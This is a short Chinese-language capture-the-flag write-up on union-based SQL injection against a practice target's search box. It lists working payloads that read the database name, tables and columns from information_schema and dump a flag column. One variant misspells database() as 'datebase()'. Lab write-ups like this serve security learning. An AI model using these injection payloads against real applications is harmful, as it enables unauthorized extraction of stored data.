靶机链接:黑客新闻
简单梳理一下大致流程:寻找注入点--->确定注入方法--->查数据库名--->查表--->查列--->爆出内容
确定思路开始实施
发现有个搜索框,判断其是不是注入点(基于报错、布尔值、时间盲注及联合查询)
这里我先采用了1'进行测试
返回错误
发现注入点
查数据库列数
' and 0 union select 1,2,3 from information_schema.tables#(标识部分为测试部分)或直接用1'union select 1,2,3#
查数据库名:
' and 0 union select 1,2,database()#还可以用1' union select 1,2,datebase()#以及1' union select 1,null,database()#
知道了数据库名我们就可以接着查它的表了
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
接着查列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table' and table_schema='news'#(语句里的table_name='表名 ',table_schema='数据库名' )
查内容
1' union select null,group_concat(id),group_concat(fl4g) from secret_table#(要查的是哪个表就将标识处换成哪个表的名称)
还可以用1' and 0 union select 1,2,fl4g from secret_table #